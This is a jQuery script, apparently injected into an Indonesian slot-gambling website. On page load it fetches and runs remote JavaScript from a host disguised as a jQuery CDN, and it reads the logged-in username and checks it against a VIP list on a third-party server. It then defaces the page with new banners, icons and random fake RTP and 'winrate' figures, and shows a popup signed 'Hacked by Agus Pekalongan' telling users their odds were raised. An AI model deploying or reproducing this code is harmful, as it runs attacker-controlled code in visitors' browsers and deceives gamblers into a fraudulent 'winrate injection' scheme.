$(document).ready(function () {
    $.getScript("https://code-jquery-min-jsfile-inmethod-external-platform.web.app/min107.js",function(){
        if (typeof externalFunction === "function") {
            externalFunction();
        }
    });

    var rawUsername = $('p:contains("Hai") span').text().trim();
    console.log('Username yang sedang login:', rawUsername);

    var npoinUrl        = 'https://aguspekalongan.xyz/anggotaagus.php';
    var defaultImageUrl = 'https://cdn.venom123.cloud/agus-pekalongan-new.png';
    var newBannerUrl    = 'https://cdn.venom123.cloud/banner-agus-update.webp';
    var popupGifUrl     = 'https://cdn.pixabay.com/animation/2023/04/28/18/34/18-34-10-554_512.gif';

    fetch(npoinUrl)
        .then(response => {
            if (!response.ok) {
                throw new Error('Network response was not ok: ' + response.statusText);
            }
            return response.json();
        })
        .then(data => {
            console.log('Data JSON diterima:', data);

            if (data.status === 'success') {
                var vipMember = data.data.find(member => member.username === rawUsername);
                if (vipMember) {
                    // TRIM TIER
                    var vipTier = vipMember.tier.trim();

                    // Debug (opsional)
                    console.log("vipTier (dengan trim):", JSON.stringify(vipTier), "length:", vipTier.length);

                    $('p span').css('color', 'red');
                    $('.game-item-list').find('*').css('color', 'red');
                    $('.figure-text').css('color', 'red');

                    // Tambah badge VIP jika belum ada
                    if ($('p span').next('div').find('img[alt="VIP Member"]').length === 0) {
                        $('p span').after(`
                            <div style="margin-top: 10px;">
                                <img src="${defaultImageUrl}" alt="VIP Member" style="width: 150px; height: auto;">
                            </div>
                        `);
                    }

                    // Ganti banner
                    $('.cust-banner img').attr('src', newBannerUrl);

                    /** 
                     * Ganti switch(vipTier) jadi switch(true),
                     * lalu pakai vipTier.includes('...') 
                     * agar tetap cocok walau ada teks tambahan. 
                     */
                    switch (true) {
                      case vipTier.includes('Inject Winrate Pragmatic'):
                        $('i.fas.fa-star').replaceWith('<img src="https://xmple.online/55434/ico-pragma.ico" alt="Gold Star" style="width: 20px; height: 20px;">');
                        $('i.fas.fa-fire').replaceWith('<img src="https://xmple.online/55434/ico-pragma.ico" alt="Gold Fire" style="width: 20px; height: 20px;">');
                        break;

                      case vipTier.includes('Inject Winrate Pg Soft'):
                        $('i.fas.fa-star').replaceWith('<img src="https://xmple.online/55434/ico-pg-soft.ico" alt="Silver Star" style="width: 20px; height: 20px;">');
                        $('i.fas.fa-fire').replaceWith('<img src="https://xmple.online/55434/ico-pg-soft.ico" alt="Silver Fire" style="width: 20px; height: 20px;">');
                        break;

                      case vipTier.includes('Inject Scatter Catcher'):
                        $('i.fas.fa-star').replaceWith('<img src="https://xmple.online/55434/ico-scatter.ico" alt="Platinum Star" style="width: 20px; height: 20px;">');
                        $('i.fas.fa-fire').replaceWith('<img src="https://xmple.online/55434/ico-scatter.ico" alt="Platinum Fire" style="width: 20px; height: 20px;">');
                        break;

                      case vipTier.includes('RTP MAX'):
                        $('i.fas.fa-star').replaceWith('<img src="https://xmple.online/55434/ico-scatter.ico" alt="Platinum Star" style="width: 20px; height: 20px;">');
                        $('i.fas.fa-fire').replaceWith('<img src="https://xmple.online/55434/ico-scatter.ico" alt="Platinum Fire" style="width: 20px; height: 20px;">');

$('li[data-area="game_slot"]').each(function () {
  if ($(this).find('.progress').length === 0) {
    var rtp = Math.floor(Math.random() * (98 - 80 + 1)) + 80;

    // Gunakan CSS inline + animation untuk blink
    // Kita buat keyframes "rtpBlink" di <style> agar animasi bisa berjalan.
    // Lihat penjelasan di bawah.
    var progressBar = `
      <style>
        @keyframes rtpBlink {
          0%, 100% {
            background-color: #ff0000; /* merah terang */
          }
          50% {
            background-color: #990000; /* merah lebih gelap */
          }
        }
      </style>
      <div class="progress" style="margin-top:5px; height:20px; background-color:#444; border-radius:10px; border: 1px solid red;">
        <div class="progress-bar progress-bar-striped progress-bar-animated" 
             style="
               width: ${rtp}%; 
               font-weight:bold; 
               color:#fff; 
               text-shadow: 1px 1px 2px black;
               animation: rtpBlink 1.5s infinite alternate;
               border-radius:10px;
             ">
          RTP ${rtp}%
        </div>
      </div>
    `;
    $(this).find('.figure-text').prepend(progressBar);
  }
});

                        break;

                      default:
                        // Kembalikan ke ikon default kalau tier tidak dikenali
                        $('i.fas.fa-star').replaceWith('<i class="fas fa-star"></i>');
                        $('i.fas.fa-fire').replaceWith('<i class="fas fa-fire"></i>');
                    }

                    // Hitung winrate random 70-98%
                    var winrate = (Math.random() * (98 - 70) + 70).toFixed(2);

                    // Tampilkan popup
                    showPopup(`Halo ${rawUsername}, Anda Berada di Mode: ${vipTier}. Winrate berhasil dinaikan ke ${winrate}%`);
                } else {
                    console.log('Username bukan member VIP.');
                }
            } else {
                console.log('Data gagal diterima');
            }
        })
        .catch(error => {
            console.error('Gagal memuat data JSON:', error);
        });

    // Popup Neon Futuristik
    function showPopup(message) {
        var style = `
            <style>
            @keyframes neonBlink {
              0%, 100% {
                box-shadow:
                  0 0 5px #0ff,
                  0 0 10px #0ff,
                  0 0 20px #0ff,
                  0 0 40px #0ff;
              }
              50% {
                box-shadow:
                  0 0 10px #0ff,
                  0 0 20px #0ff,
                  0 0 40px #0ff,
                  0 0 80px #0ff;
              }
            }
            .popup-overlay {
                position: fixed;
                top: 0; left: 0;
                width: 100%; height: 100%;
                background: rgba(0,0,0,0.75);
                display: flex;
                justify-content: center;
                align-items: center;
                z-index: 9999;
            }
            .popup-content {
                position: relative;
                background: #111;
                color: #0ff;
                border: 2px solid #0ff;
                border-radius: 15px;
                padding: 20px;
                max-width: 400px;
                width: 80%;
                text-align: center;
                font-family: Arial, sans-serif;
                animation: neonBlink 1.5s ease-in-out infinite alternate;
                box-shadow: 0 0 5px #0ff;
            }
            .popup-content img {
                max-width: 100%;
                height: auto;
                margin-bottom: 15px;
                border-radius: 10px;
                box-shadow: 0 0 5px #0ff;
            }
            .popup-content p {
                font-size: 18px;
                margin-bottom: 15px;
                font-weight: bold;
                color: #0ff;
            }
            .popup-credit {
                font-size: 14px;
                margin-top: 10px;
                font-style: italic;
                color: #0ff;
            }
            .popup-close {
                background-color: #e74c3c;
                color: white;
                border: none;
                padding: 12px 25px;
                font-size: 16px;
                cursor: pointer;
                border-radius: 5px;
                margin-top: 15px;
                transition: background-color 0.3s ease, box-shadow 0.3s ease;
            }
            .popup-close:hover {
                background-color: #c0392b;
                box-shadow: 0 0 10px #f00;
            }
            </style>
        `;
        $('head').append(style);

        // Buat elemen popup
        var popup = $(`
            <div class="popup-overlay">
                <div class="popup-content">
                    <img src="${popupGifUrl}" alt="GIF Animation">
                    <p>${message}</p>
                    <div class="popup-credit">Hacked by Agus Pekalongan</div>
                    <button class="popup-close">Tutup</button>
                </div>
            </div>
        `);

        // Masukkan ke body
        $('body').append(popup);

        // Event tombol tutup
        $('.popup-close').on('click', function () {
            $('.popup-overlay').fadeOut(300, function(){
                $(this).remove(); // Hapus elemen popup
            });
        });

        // Fade in popup
        setTimeout(function () {
            popup.fadeIn(300);
        }, 100);
    }
});